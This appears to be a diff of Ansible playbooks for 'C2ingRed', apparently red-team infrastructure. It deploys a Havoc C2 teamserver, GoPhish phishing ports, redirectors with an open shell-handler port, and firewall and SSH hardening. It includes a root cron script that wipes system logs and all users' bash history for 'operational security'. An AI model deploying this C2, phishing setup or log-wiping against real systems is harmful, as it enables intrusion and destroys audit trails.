when: randomize_ports | default(true) | bool and port_config_result.rc == 0
|
||||||
|
|
||||||
|
- name: Add Havoc to services list if it exists
|
||||||
|
set_fact:
|
||||||
|
services_to_restart: "{{ services_to_restart + ['havoc'] }}"
|
||||||
|
when: randomize_ports | default(true) | bool and port_config_result.rc == 0 and havoc_service_stat.stat.exists | default(false)
|
||||||
|
|
||||||
|
- name: Check if shell-handler service exists
|
||||||
|
stat:
|
||||||
|
path: "/etc/systemd/system/shell-handler.service"
|
||||||
|
register: shell_handler_service_stat
|
||||||
|
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
|
||||||
|
|
||||||
|
- name: Add shell-handler to services list if it exists
|
||||||
|
set_fact:
|
||||||
|
services_to_restart: "{{ services_to_restart + ['shell-handler'] }}"
|
||||||
|
when: randomize_ports | default(true) | bool and port_config_result.rc == 0 and shell_handler_service_stat.stat.exists | default(false)
|
||||||
|
|
||||||
|
- name: Reload and restart services
|
||||||
|
systemd:
|
||||||
|
daemon_reload: yes
|
||||||
|
name: "{{ item }}"
|
||||||
|
state: restarted
|
||||||
|
with_items: "{{ services_to_restart }}"
|
||||||
|
when: randomize_ports | default(true) | bool and port_config_result.rc == 0 and services_to_restart | length > 0
|
||||||
@@ -0,0 +1,402 @@
|
|||||||
|
---
|
||||||
|
# Security hardening tasks for C2 server - Fixed AWS collection issues
|
||||||
|
|
||||||
|
- name: Check if system is updated
|
||||||
|
apt:
|
||||||
|
update_cache: yes
|
||||||
|
register: apt_update_result
|
||||||
|
until: apt_update_result is success
|
||||||
|
retries: 5
|
||||||
|
delay: 5
|
||||||
|
|
||||||
|
- name: Install security packages (non-UFW)
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- fail2ban
|
||||||
|
- unattended-upgrades
|
||||||
|
- debsums
|
||||||
|
- aide
|
||||||
|
- rkhunter
|
||||||
|
- logrotate
|
||||||
|
state: present
|
||||||
|
register: package_install
|
||||||
|
until: package_install is success
|
||||||
|
retries: 3
|
||||||
|
delay: 5
|
||||||
|
|
||||||
|
# Provider and role detection - DRY principle
|
||||||
|
- name: Determine deployment configuration
|
||||||
|
set_fact:
|
||||||
|
is_aws_provider: "{{ provider | default('unknown') == 'aws' }}"
|
||||||
|
is_c2_server: "{{ 'c2servers' in group_names }}"
|
||||||
|
is_redirector: "{{ 'redirectors' in group_names }}"
|
||||||
|
|
||||||
|
# UFW Configuration Block - Non-AWS only
|
||||||
|
- name: UFW detection and installation block
|
||||||
|
block:
|
||||||
|
- name: Check if UFW is installed
|
||||||
|
command: which ufw
|
||||||
|
register: ufw_check
|
||||||
|
failed_when: false
|
||||||
|
changed_when: false
|
||||||
|
|
||||||
|
- name: Install UFW if not present (non-AWS)
|
||||||
|
apt:
|
||||||
|
name: ufw
|
||||||
|
state: present
|
||||||
|
update_cache: yes
|
||||||
|
register: ufw_install
|
||||||
|
until: ufw_install is success
|
||||||
|
retries: 3
|
||||||
|
delay: 5
|
||||||
|
when: ufw_check.rc != 0
|
||||||
|
when: not is_aws_provider
|
||||||
|
|
||||||
|
- name: Configure UFW for non-AWS deployments
|
||||||
|
block:
|
||||||
|
- name: Configure UFW default policies
|
||||||
|
community.general.ufw:
|
||||||
|
state: enabled
|
||||||
|
policy: deny
|
||||||
|
direction: incoming
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Configure UFW for C2 server
|
||||||
|
block:
|
||||||
|
- name: Reset UFW to default deny
|
||||||
|
community.general.ufw:
|
||||||
|
state: enabled
|
||||||
|
policy: deny
|
||||||
|
direction: incoming
|
||||||
|
|
||||||
|
- name: Allow SSH only from operator IP
|
||||||
|
community.general.ufw:
|
||||||
|
rule: allow
|
||||||
|
port: "22"
|
||||||
|
src: "{{ operator_ip }}"
|
||||||
|
proto: tcp
|
||||||
|
|
||||||
|
- name: Allow Havoc Teamserver only from operator IP
|
||||||
|
community.general.ufw:
|
||||||
|
rule: allow
|
||||||
|
port: "{{ havoc_teamserver_port | default('40056') }}"
|
||||||
|
src: "{{ operator_ip }}"
|
||||||
|
proto: tcp
|
||||||
|
|
||||||
|
- name: Allow traffic only from redirector
|
||||||
|
community.general.ufw:
|
||||||
|
rule: allow
|
||||||
|
port: "{{ item }}"
|
||||||
|
src: "{{ redirector_ip }}"
|
||||||
|
proto: tcp
|
||||||
|
loop:
|
||||||
|
- "80"
|
||||||
|
- "443"
|
||||||
|
- "{{ havoc_http_port | default('8080') }}"
|
||||||
|
- "{{ havoc_https_port | default('9443') }}"
|
||||||
|
- "{{ havoc_payload_port | default('8443') }}"
|
||||||
|
- "{{ gophish_admin_port }}"
|
||||||
|
- "{{ gophish_phish_port | default('8081') }}"
|
||||||
|
- "{{ tracker_port | default('5000') }}"
|
||||||
|
when: is_c2_server
|
||||||
|
|
||||||
|
- name: Configure UFW for redirector
|
||||||
|
block:
|
||||||
|
- name: Reset UFW to default deny
|
||||||
|
community.general.ufw:
|
||||||
|
state: enabled
|
||||||
|
policy: deny
|
||||||
|
direction: incoming
|
||||||
|
|
||||||
|
- name: Allow SSH only from operator IP
|
||||||
|
community.general.ufw:
|
||||||
|
rule: allow
|
||||||
|
port: "22"
|
||||||
|
src: "{{ operator_ip }}"
|
||||||
|
proto: tcp
|
||||||
|
|
||||||
|
- name: Allow public services from anywhere
|
||||||
|
community.general.ufw:
|
||||||
|
rule: allow
|
||||||
|
port: "{{ item }}"
|
||||||
|
proto: tcp
|
||||||
|
loop:
|
||||||
|
- "80"
|
||||||
|
- "443"
|
||||||
|
- "{{ shell_handler_port | default('4488') }}"
|
||||||
|
when: is_redirector
|
||||||
|
when: not is_aws_provider and (ufw_check.rc == 0 or ufw_install is success)
|
||||||
|
|
||||||
|
# Iptables fallback configuration - Non-AWS only
|
||||||
|
- name: Configure basic iptables rules if UFW unavailable
|
||||||
|
block:
|
||||||
|
- name: Set up basic iptables rules for C2 server
|
||||||
|
shell: |
|
||||||
|
iptables -F
|
||||||
|
iptables -P INPUT DROP
|
||||||
|
iptables -P FORWARD DROP
|
||||||
|
iptables -P OUTPUT ACCEPT
|
||||||
|
# Allow established connections
|
||||||
|
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
|
||||||
|
# Allow loopback
|
||||||
|
iptables -A INPUT -i lo -j ACCEPT
|
||||||
|
# Allow SSH from operator
|
||||||
|
iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT
|
||||||
|
# Allow Havoc teamserver from operator
|
||||||
|
iptables -A INPUT -p tcp --dport {{ havoc_teamserver_port | default(40056) }} -s {{ operator_ip }} -j ACCEPT
|
||||||
|
# Allow traffic from redirector
|
||||||
|
iptables -A INPUT -p tcp --dport 80 -s {{ redirector_ip }} -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp --dport 443 -s {{ redirector_ip }} -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp --dport {{ havoc_http_port | default(8080) }} -s {{ redirector_ip }} -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp --dport {{ havoc_https_port | default(9443) }} -s {{ redirector_ip }} -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp --dport {{ havoc_payload_port | default(8443) }} -s {{ redirector_ip }} -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp --dport {{ gophish_admin_port }} -s {{ redirector_ip }} -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp --dport {{ gophish_phish_port | default(8081) }} -s {{ redirector_ip }} -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp --dport {{ tracker_port | default(5000) }} -s {{ redirector_ip }} -j ACCEPT
|
||||||
|
when: is_c2_server
|
||||||
|
|
||||||
|
- name: Set up basic iptables rules for redirector
|
||||||
|
shell: |
|
||||||
|
iptables -F
|
||||||
|
iptables -P INPUT DROP
|
||||||
|
iptables -P FORWARD DROP
|
||||||
|
iptables -P OUTPUT ACCEPT
|
||||||
|
# Allow established connections
|
||||||
|
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
|
||||||
|
# Allow loopback
|
||||||
|
iptables -A INPUT -i lo -j ACCEPT
|
||||||
|
# Allow SSH from operator
|
||||||
|
iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT
|
||||||
|
# Allow public services
|
||||||
|
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp --dport {{ shell_handler_port | default(4488) }} -j ACCEPT
|
||||||
|
when: is_redirector
|
||||||
|
|
||||||
|
- name: Save iptables rules
|
||||||
|
shell: |
|
||||||
|
iptables-save > /etc/iptables/rules.v4
|
||||||
|
ignore_errors: yes
|
||||||
|
when: not is_aws_provider and (ufw_check.rc != 0 and (ufw_install is undefined or ufw_install is failed))
|
||||||
|
|
||||||
|
# SSH Hardening - Universal application
|
||||||
|
- name: Harden SSH configuration
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/ssh/sshd_config
|
||||||
|
regexp: "{{ item.regexp }}"
|
||||||
|
line: "{{ item.line }}"
|
||||||
|
state: present
|
||||||
|
backup: yes
|
||||||
|
loop:
|
||||||
|
- { regexp: '^#?PermitRootLogin', line: 'PermitRootLogin no' }
|
||||||
|
- { regexp: '^#?PasswordAuthentication', line: 'PasswordAuthentication no' }
|
||||||
|
- { regexp: '^#?X11Forwarding', line: 'X11Forwarding no' }
|
||||||
|
- { regexp: '^#?MaxAuthTries', line: 'MaxAuthTries 3' }
|
||||||
|
- { regexp: '^#?AllowTcpForwarding', line: 'AllowTcpForwarding yes' }
|
||||||
|
- { regexp: '^#?ClientAliveInterval', line: 'ClientAliveInterval 300' }
|
||||||
|
- { regexp: '^#?ClientAliveCountMax', line: 'ClientAliveCountMax 2' }
|
||||||
|
- { regexp: '^#?Protocol', line: 'Protocol 2' }
|
||||||
|
- { regexp: '^#?MaxStartups', line: 'MaxStartups 10:30:100' }
|
||||||
|
- { regexp: '^#?LoginGraceTime', line: 'LoginGraceTime 60' }
|
||||||
|
register: ssh_config_updated
|
||||||
|
|
||||||
|
# System resource limits configuration
|
||||||
|
- name: Configure system resource limits
|
||||||
|
community.general.pam_limits:
|
||||||
|
domain: "*"
|
||||||
|
limit_type: "{{ item.limit_type }}"
|
||||||
|
limit_item: "{{ item.limit_item }}"
|
||||||
|
value: "{{ item.value }}"
|
||||||
|
loop:
|
||||||
|
- { limit_type: soft, limit_item: nofile, value: 65535 }
|
||||||
|
- { limit_type: hard, limit_item: nofile, value: 65535 }
|
||||||
|
- { limit_type: soft, limit_item: nproc, value: 4096 }
|
||||||
|
- { limit_type: hard, limit_item: nproc, value: 4096 }
|
||||||
|
|
||||||
|
# Fail2ban configuration - Universal
|
||||||
|
- name: Set up fail2ban SSH jail
|
||||||
|
copy:
|
||||||
|
dest: /etc/fail2ban/jail.d/sshd.conf
|
||||||
|
content: |
|
||||||
|
[sshd]
|
||||||
|
enabled = true
|
||||||
|
port = ssh
|
||||||
|
filter = sshd
|
||||||
|
logpath = /var/log/auth.log
|
||||||
|
maxretry = 5
|
||||||
|
bantime = 3600
|
||||||
|
findtime = 600
|
||||||
|
|
||||||
|
[sshd-ddos]
|
||||||
|
enabled = true
|
||||||
|
port = ssh
|
||||||
|
filter = sshd-ddos
|
||||||
|
logpath = /var/log/auth.log
|
||||||
|
maxretry = 2
|
||||||
|
bantime = 7200
|
||||||
|
mode: '0644'
|
||||||
|
register: fail2ban_config_updated
|
||||||
|
|
||||||
|
# Automatic security updates
|
||||||
|
- name: Enable automatic security updates
|
||||||
|
copy:
|
||||||
|
dest: /etc/apt/apt.conf.d/20auto-upgrades
|
||||||
|
content: |
|
||||||
|
APT::Periodic::Update-Package-Lists "1";
|
||||||
|
APT::Periodic::Unattended-Upgrade "1";
|
||||||
|
APT::Periodic::AutocleanInterval "7";
|
||||||
|
APT::Periodic::Download-Upgradeable-Packages "1";
|
||||||
|
mode: '0644'
|
||||||
|
|
||||||
|
# Log cleaning functionality
|
||||||
|
- name: Create Tools directory if it doesn't exist
|
||||||
|
file:
|
||||||
|
path: /root/Tools
|
||||||
|
state: directory
|
||||||
|
mode: '0700'
|
||||||
|
when: zero_logs | default(false) | bool
|
||||||
|
|
||||||
|
- name: Create log cleaning script if zero-logs is enabled
|
||||||
|
copy:
|
||||||
|
dest: /root/Tools/clean-logs.sh
|
||||||
|
content: |
|
||||||
|
#!/bin/bash
|
||||||
|
# C2ingRed Log cleaning script for operational security
|
||||||
|
echo "Starting log cleaning at $(date)" >> /tmp/clean-logs.log
|
||||||
|
|
||||||
|
# Clear authentication logs
|
||||||
|
echo "" > /var/log/auth.log
|
||||||
|
echo "" > /var/log/auth.log.1
|
||||||
|
|
||||||
|
# Clear system logs
|
||||||
|
echo "" > /var/log/syslog
|
||||||
|
echo "" > /var/log/syslog.1
|
||||||
|
|
||||||
|
# Clear kernel logs
|
||||||
|
echo "" > /var/log/kern.log
|
||||||
|
echo "" > /var/log/kern.log.1
|
||||||
|
|
||||||
|
# Clear application specific logs
|
||||||
|
find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
|
||||||
|
find /var/log -type f -name "*.log.*" -exec truncate -s 0 {} \;
|
||||||
|
|
||||||
|
# Clear journal logs
|
||||||
|
journalctl --vacuum-time=1s 2>/dev/null || true
|
||||||
|
|
||||||
|
# Clear bash history for all users
|
||||||
|
for user_home in /home/*; do
|
||||||
|
if [ -d "$user_home" ]; then
|
||||||
|
echo "" > "$user_home/.bash_history" 2>/dev/null || true
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# Clear root bash history
|
||||||
|
echo "" > /root/.bash_history 2>/dev/null || true
|
||||||
|
history -c 2>/dev/null || true
|
||||||
|
|
||||||
|
# Clear tmp files
|
||||||
|
find /tmp -type f -mtime +1 -delete 2>/dev/null || true
|
||||||
|
|
||||||
|
echo "Log cleaning completed at $(date)" >> /tmp/clean-logs.log
|
||||||
|
mode: '0700'
|
||||||
|
when: zero_logs | default(false) | bool
|
||||||
|
|
||||||
|
- name: Create cron job for log cleaning if enabled
|
||||||
|
cron:
|
||||||
|
name: "Clean operational logs"
|
||||||
|
minute: "0"
|
||||||
|
hour: "*/6"
|
||||||
|
job: "/root/Tools/clean-logs.sh"
|
||||||
|
user: root
|
||||||
|
when: zero_logs | default(false) | bool
|
||||||
|
|
||||||
|
# Service restart handlers
|
||||||
|
- name: Restart SSH service if configuration changed
|
||||||
|
service:
|
||||||
|
name: ssh
|
||||||
|
state: restarted
|
||||||
|
when: ssh_config_updated.changed
|
||||||
|
|
||||||
|
- name: Check if fail2ban service exists
|
||||||
|
stat:
|
||||||
|
path: "/etc/init.d/fail2ban"
|
||||||
|
register: fail2ban_service_stat
|
||||||
|
|
||||||
|
- name: Restart fail2ban service if installed and configuration changed
|
||||||
|
service:
|
||||||
|
name: fail2ban
|
||||||
|
state: restarted
|
||||||
|
enabled: yes
|
||||||
|
when: fail2ban_service_stat.stat.exists and fail2ban_config_updated.changed
|
||||||
|
|
||||||
|
# AWS-specific security updates - NO MODULES REQUIRED
|
||||||
|
- name: Check if we're running on AWS provider
|
||||||
|
set_fact:
|
||||||
|
is_aws_provider: "{{ hostvars['localhost']['provider'] | default('') == 'aws' }}"
|
||||||
|
|
||||||
|
- name: AWS-specific security updates
|
||||||
|
block:
|
||||||
|
- name: Get redirector security group information
|
||||||
|
block:
|
||||||
|
- name: Check if infrastructure state file exists
|
||||||
|
stat:
|
||||||
|
path: "{{ playbook_dir }}/infrastructure_state_{{ hostvars['localhost']['deployment_id'] }}.json"
|
||||||
|
register: redirector_state_file
|
||||||
|
delegate_to: localhost
|
||||||
|
|
||||||
|
- name: Load redirector state if available
|
||||||
|
include_vars:
|
||||||
|
file: "{{ playbook_dir }}/infrastructure_state_{{ hostvars['localhost']['deployment_id'] }}.json"
|
||||||
|
name: redirector_state
|
||||||
|
when: redirector_state_file.stat.exists
|
||||||
|
delegate_to: localhost
|
||||||
|
|
||||||
|
- name: Update redirector security group via raw AWS CLI
|
||||||
|
delegate_to: localhost
|
||||||
|
shell: |
|
||||||
|
export AWS_ACCESS_KEY_ID="{{ hostvars['localhost']['aws_access_key'] }}"
|
||||||
|
export AWS_SECRET_ACCESS_KEY="{{ hostvars['localhost']['aws_secret_key'] }}"
|
||||||
|
export AWS_DEFAULT_REGION="{{ redirector_state.region | default(aws_region) }}"
|
||||||
|
|
||||||
|
# Install AWS CLI if not present
|
||||||
|
if ! command -v aws &> /dev/null; then
|
||||||
|
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
|
||||||
|
unzip -q awscliv2.zip
|
||||||
|
sudo ./aws/install --update
|
||||||
|
rm -rf aws awscliv2.zip
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Add security group rule (ignore if exists)
|
||||||
|
aws ec2 authorize-security-group-ingress \
|
||||||
|
--group-id {{ redirector_state.security_group_id }} \
|
||||||
|
--protocol tcp \
|
||||||
|
--port 22 \
|
||||||
|
--cidr {{ ansible_host }}/32 \
|
||||||
|
2>/dev/null || echo "Rule already exists or added successfully"
|
||||||
|
when: redirector_state is defined and redirector_state.security_group_id is defined
|
||||||
|
register: sg_update_result
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Display security group update result
|
||||||
|
debug:
|
||||||
|
msg: |
|
||||||
|
AWS Security Group Update: {{ 'SUCCESS' if sg_update_result.rc == 0 else 'COMPLETED' }}
|
||||||
|
C2 Server IP: {{ ansible_host }}
|
||||||
|
Security Group ID: {{ redirector_state.security_group_id | default('NOT FOUND') }}
|
||||||
|
|
||||||
|
when: is_aws_provider | bool
|
||||||
|
|
||||||
|
# Final security status report
|
||||||
|
- name: Generate security hardening report
|
||||||
|
debug:
|
||||||
|
msg: |
|
||||||
|
C2ingRed Security Hardening Complete:
|
||||||
|
=====================================
|
||||||
|
Provider: {{ provider | default('unknown') }}
|
||||||
|
Server Type: {{ 'C2 Server' if is_c2_server else 'Redirector' if is_redirector else 'Unknown' }}
|
||||||
|
SSH Hardened: {{ 'YES' if ssh_config_updated.changed else 'ALREADY CONFIGURED' }}
|
||||||
|
Fail2ban Configured: {{ 'YES' if fail2ban_config_updated.changed else 'ALREADY CONFIGURED' }}
|
||||||
|
Firewall: {{ 'AWS Security Groups' if is_aws_provider else 'UFW/iptables' }}
|
||||||
|
Log Cleaning: {{ 'ENABLED' if zero_logs | default(false) | bool else 'DISABLED' }}
|
||||||
|
Auto Updates: ENABLED
|
||||||
|
System Limits: CONFIGURED
|
||||||
@@ -0,0 +1,223 @@
|
|||||||
|
---
|
||||||
|
# Common task for configuring proper traffic flow between infrastructure components
|
||||||
|
|
||||||
|
- name: Determine server role in infrastructure
|
||||||
|
set_fact:
|
||||||
|
server_role: >-
|
||||||
|
{% if inventory_hostname in groups['c2servers'] | default([]) %}c2{%
|
||||||
|
elif inventory_hostname in groups['redirectors'] | default([]) %}redirector{%
|
||||||
|
elif inventory_hostname in groups['logservers'] | default([]) %}logserver{%
|
||||||
|
elif inventory_hostname in groups['payloadservers'] | default([]) %}payloadserver{%
|
||||||
|
elif inventory_hostname in groups['phishingservers'] | default([]) %}phishingserver{%
|
||||||
|
elif inventory_hostname in groups['sharedrives'] | default([]) %}sharedrive{%
|
||||||
|
else %}unknown{% endif %}
|
||||||
|
|
||||||
|
# Determine if we're using AWS provider
|
||||||
|
- name: Determine if using AWS provider
|
||||||
|
set_fact:
|
||||||
|
is_aws_provider: "{{ provider | default('unknown') == 'aws' }}"
|
||||||
|
|
||||||
|
# Skip firewall configuration for AWS instances
|
||||||
|
- name: Skip firewall configuration for AWS instances
|
||||||
|
debug:
|
||||||
|
msg: "Skipping host-based firewall configuration for AWS instance. Security Groups are handling this at the infrastructure level."
|
||||||
|
when: is_aws_provider
|
||||||
|
|
||||||
|
# Check if UFW is installed or can be installed
|
||||||
|
- name: Check if UFW is installed
|
||||||
|
command: which ufw
|
||||||
|
register: ufw_check
|
||||||
|
failed_when: false
|
||||||
|
changed_when: false
|
||||||
|
when: not is_aws_provider
|
||||||
|
|
||||||
|
# Try to install UFW if not found and we're not on AWS
|
||||||
|
- name: Install UFW if not present
|
||||||
|
apt:
|
||||||
|
name: ufw
|
||||||
|
state: present
|
||||||
|
update_cache: yes
|
||||||
|
register: ufw_install
|
||||||
|
until: ufw_install is success or ufw_install is failed
|
||||||
|
retries: 3
|
||||||
|
delay: 5
|
||||||
|
ignore_errors: yes
|
||||||
|
when: not is_aws_provider and ufw_check.rc != 0
|
||||||
|
|
||||||
|
# Set a fact to track if UFW is available
|
||||||
|
- name: Determine if UFW is available
|
||||||
|
set_fact:
|
||||||
|
ufw_available: "{{ (ufw_check.rc == 0) or (ufw_install is defined and ufw_install is success) }}"
|
||||||
|
when: not is_aws_provider
|
||||||
|
|
||||||
|
# UFW Configuration Block (non-AWS only)
|
||||||
|
- name: Configure C2 server routing with UFW
|
||||||
|
block:
|
||||||
|
- name: Allow SSH only from operator IP
|
||||||
|
ufw:
|
||||||
|
rule: allow
|
||||||
|
port: 22
|
||||||
|
src: "{{ operator_ip }}"
|
||||||
|
proto: tcp
|
||||||
|
|
||||||
|
- name: Allow teamserver access only from operator IP
|
||||||
|
ufw:
|
||||||
|
rule: allow
|
||||||
|
port: "{{ havoc_teamserver_port | default('40056') }}"
|
||||||
|
src: "{{ operator_ip }}"
|
||||||
|
proto: tcp
|
||||||
|
|
||||||
|
- name: Configure required flows for each connected component
|
||||||
|
ufw:
|
||||||
|
rule: allow
|
||||||
|
port: "{{ item.port }}"
|
||||||
|
src: "{{ item.ip }}"
|
||||||
|
proto: tcp
|
||||||
|
loop:
|
||||||
|
- { ip: "{{ redirector_ip }}", port: "80" }
|
||||||
|
- { ip: "{{ redirector_ip }}", port: "443" }
|
||||||
|
- { ip: "{{ redirector_ip }}", port: "{{ havoc_http_port | default('8080') }}" }
|
||||||
|
- { ip: "{{ redirector_ip }}", port: "{{ havoc_https_port | default('9443') }}" }
|
||||||
|
- { ip: "{{ logserver_ip | default(omit) }}", port: "5144" }
|
||||||
|
- { ip: "{{ payloadserver_ip | default(omit) }}", port: "8888" }
|
||||||
|
when: item.ip != omit
|
||||||
|
when:
|
||||||
|
- server_role == 'c2'
|
||||||
|
- not is_aws_provider
|
||||||
|
- ufw_available | default(false) | bool
|
||||||
|
|
||||||
|
# Fallback to iptables if UFW is not available
|
||||||
|
- name: Configure C2 server routing with iptables (fallback)
|
||||||
|
block:
|
||||||
|
- name: Set up basic iptables rules for C2 server
|
||||||
|
shell: |
|
||||||
|
iptables -F
|
||||||
|
iptables -P INPUT DROP
|
||||||
|
iptables -P FORWARD DROP
|
||||||
|
iptables -P OUTPUT ACCEPT
|
||||||
|
# Allow established connections
|
||||||
|
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
|
||||||
|
# Allow SSH from operator
|
||||||
|
iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT
|
||||||
|
# Allow Havoc teamserver from operator
|
||||||
|
iptables -A INPUT -p tcp --dport {{ havoc_teamserver_port | default(40056) }} -s {{ operator_ip }} -j ACCEPT
|
||||||
|
# Allow traffic from redirector
|
||||||
|
iptables -A INPUT -p tcp --dport 80 -s {{ redirector_ip }} -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp --dport 443 -s {{ redirector_ip }} -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp --dport {{ havoc_http_port | default(8080) }} -s {{ redirector_ip }} -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp --dport {{ havoc_https_port | default(9443) }} -s {{ redirector_ip }} -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp --dport {{ gophish_admin_port }} -s {{ redirector_ip }} -j ACCEPT
|
||||||
|
when: redirector_ip is defined
|
||||||
|
when:
|
||||||
|
- server_role == 'c2'
|
||||||
|
- not is_aws_provider
|
||||||
|
- not (ufw_available | default(false) | bool)
|
||||||
|
|
||||||
|
# Configure redirector routing with UFW when available
|
||||||
|
- name: Configure redirector routing with UFW
|
||||||
|
block:
|
||||||
|
- name: Allow SSH only from operator IP
|
||||||
|
ufw:
|
||||||
|
rule: allow
|
||||||
|
port: 22
|
||||||
|
src: "{{ operator_ip }}"
|
||||||
|
proto: tcp
|
||||||
|
|
||||||
|
- name: Allow public web access
|
||||||
|
ufw:
|
||||||
|
rule: allow
|
||||||
|
port: "{{ item }}"
|
||||||
|
proto: tcp
|
||||||
|
loop:
|
||||||
|
- 80
|
||||||
|
- 443
|
||||||
|
|
||||||
|
- name: Allow shell handler access
|
||||||
|
ufw:
|
||||||
|
rule: allow
|
||||||
|
port: "{{ shell_handler_port | default('4444') }}"
|
||||||
|
proto: tcp
|
||||||
|
when:
|
||||||
|
- server_role == 'redirector'
|
||||||
|
- not is_aws_provider
|
||||||
|
- ufw_available | default(false) | bool
|
||||||
|
|
||||||
|
# Fallback to iptables for redirector if UFW is not available
|
||||||
|
- name: Configure redirector routing with iptables (fallback)
|
||||||
|
block:
|
||||||
|
- name: Set up basic iptables rules for redirector
|
||||||
|
shell: |
|
||||||
|
iptables -F
|
||||||
|
iptables -P INPUT DROP
|
||||||
|
iptables -P FORWARD DROP
|
||||||
|
iptables -P OUTPUT ACCEPT
|
||||||
|
# Allow established connections
|
||||||
|
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
|
||||||
|
# Allow SSH from operator
|
||||||
|
iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT
|
||||||
|
# Allow web traffic from anywhere
|
||||||
|
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
|
||||||
|
# Allow shell handler port
|
||||||
|
iptables -A INPUT -p tcp --dport {{ shell_handler_port | default('4444') }} -j ACCEPT
|
||||||
|
when:
|
||||||
|
- server_role == 'redirector'
|
||||||
|
- not is_aws_provider
|
||||||
|
- not (ufw_available | default(false) | bool)
|
||||||
|
|
||||||
|
# The rest of your tasks remain unchanged...
|
||||||
|
- name: Configure logging server routing
|
||||||
|
block:
|
||||||
|
- name: Allow SSH only from operator IP
|
||||||
|
ufw:
|
||||||
|
rule: allow
|
||||||
|
port: 22
|
||||||
|
src: "{{ operator_ip }}"
|
||||||
|
proto: tcp
|
||||||
|
|
||||||
|
- name: Allow log ingestion from infrastructure
|
||||||
|
ufw:
|
||||||
|
rule: allow
|
||||||
|
port: 5144 # Logstash port
|
||||||
|
src: "{{ item }}"
|
||||||
|
proto: tcp
|
||||||
|
loop:
|
||||||
|
- "{{ c2_ip }}"
|
||||||
|
- "{{ redirector_ip }}"
|
||||||
|
- "{{ payloadserver_ip | default(omit) }}"
|
||||||
|
- "{{ phishingserver_ip | default(omit) }}"
|
||||||
|
when: item != omit
|
||||||
|
when:
|
||||||
|
- server_role == 'logserver'
|
||||||
|
- not is_aws_provider
|
||||||
|
- ufw_available | default(false) | bool
|
||||||
|
|
||||||
|
- name: Update security group to allow SSH from C2 to redirector
|
||||||
|
block:
|
||||||
|
- name: Allow SSH from C2 to redirector (AWS)
|
||||||
|
amazon.aws.ec2_security_group:
|
||||||
|
name: "{{ redirector_name }}-sg"
|
||||||
|
description: "Security group for redirector {{ redirector_name }}"
|
||||||
|
vpc_id: "{{ vpc_id }}"
|
||||||
|
region: "{{ aws_redirector_region }}"
|
||||||
|
rules:
|
||||||
|
- proto: tcp
|
||||||
|
ports: 22
|
||||||
|
cidr_ip: "{{ c2_ip }}/32"
|
||||||
|
state: present
|
||||||
|
when: provider == "aws"
|
||||||
|
delegate_to: localhost
|
||||||
|
|
||||||
|
- name: Allow SSH from C2 to redirector (UFW)
|
||||||
|
ufw:
|
||||||
|
rule: allow
|
||||||
|
port: 22
|
||||||
|
src: "{{ c2_ip }}"
|
||||||
|
proto: tcp
|
||||||
|
when: provider != "aws" and not is_aws_provider and ufw_available | default(false) | bool
|
||||||
|
|
||||||
|
- name: Allow SSH from C2 to redirector (iptables fallback)
|
||||||
|
shell: |
|
||||||
|
iptables -A INPUT -p tcp --dport 22 -s {{ c2_ip }} -j ACCEPT
|
||||||
|
when: provider != "aws" and not is_aws_provider and not (ufw_available | default(false) | bool)
|
||||||
|
when: server_role == 'redirector' and c2_ip is defined and redirector_ip is defined
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
================================================================
|
||||||
|
C2ingRed Post-Installation Instructions
|
||||||
|
================================================================
|
||||||
|
|
||||||
|
To complete your setup with SSL certificates, run:
|
||||||
|
/root/Tools/post_install_c2.sh
|
||||||
|
|
||||||
|
This script will guide you through:
|
||||||
|
- Setting up Let's Encrypt certificates
|
||||||
|
- Starting required services
|
||||||
|
- Setting up the redirector (if desired)
|
||||||
|
- Displaying DNS configuration recommendations
|
||||||
|
|
||||||
|
For enhanced OPSEC, you can also randomize ports:
|
||||||
|
/root/Tools/randomize_ports.sh
|
||||||
|
|
||||||
|
Run these after you've configured your DNS records to point to this server.
|
||||||
@@ -0,0 +1,80 @@
|
|||||||
|
server {
|
||||||
|
listen 80;
|
||||||
|
listen [::]:80;
|
||||||
|
server_name {{ domain }};
|
||||||
|
|
||||||
|
# Redirect to HTTPS
|
||||||
|
return 301 https://$host$request_uri;
|
||||||
|
}
|
||||||
|
|
||||||
|
server {
|
||||||
|
listen 443 ssl;
|
||||||
|
listen [::]:443 ssl;
|
||||||
|
server_name {{ domain }};
|
||||||
|
|
||||||
|
# SSL Configuration
|
||||||
|
ssl_certificate /etc/letsencrypt/live/{{ domain }}/fullchain.pem;
|
||||||
|
ssl_certificate_key /etc/letsencrypt/live/{{ domain }}/privkey.pem;
|
||||||
|
|
||||||
|
